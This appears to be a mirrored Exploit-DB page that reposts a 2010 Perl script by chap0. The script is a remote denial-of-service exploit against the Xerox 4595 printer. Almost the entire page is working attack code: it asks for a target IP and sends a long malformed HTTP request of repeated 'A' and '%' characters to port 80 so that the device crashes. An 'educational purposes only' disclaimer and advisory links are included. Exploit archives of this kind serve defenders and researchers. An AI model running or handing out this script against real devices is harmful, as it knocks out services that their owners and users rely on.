Xerox 4595 – Denial of Service - 体验盒子

作者： chap0

日期： 2010-11-01

类别：

dos

平台：

hardware

来源：https://www.exploit-db.com/exploits/15380/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

#!/usr/bin/perl

#

# Xerox 4595 Remote Dos

# November 1, 2010

# By chap0 - The tongue has the power of life and death

# [www.seek-truth.net][www.corelan.be:8800]

#

# Public Advisories

# http://www.xerox.com/downloads/usa/en/c/cert_XRX10-004_v1.0.pdf

# http://www.corelan.be:8800/advisories.php?id=CORELAN-10-065

#

# Greets to Corelan Team

# http://www.corelan.be:8800/index.php/security/corelan-team-members/

#

# Script provided 'as is', without any warranty. Use for educational purposes only.

# Do not use this code to do anything illegal! Corelan does not want anyone to use this script

# for malicious and/or illegal purposes. Corelan cannot be held responsible for any illegal use.

#

# Note : you are not allowed to edit/modify this code.

# If you do, Corelan cannot be held responsible for any damages this may cause.

use IO::Socket;

my $head = "http://";

my $code = "\x41" x 25;

$code=$code."\x25" x 4;

$code=$code."\x41" x 347;

$code=$code.".htm";

print "\nEnter the IP of the Xerox 4595 to DoS: ";

chomp ($ip = <STDIN>);

my $dos = $head.$ip.$code;

$sock = IO::Socket::INET->new(PeerAddr => $ip, PeerPort => 80, Proto => "tcp" ); die "Check your connection: $!\n" unless $sock;

print $sock "$dos\r\n";

close ($sock);

print "Connect to $ip in a browser to see if the Dos was successful\n";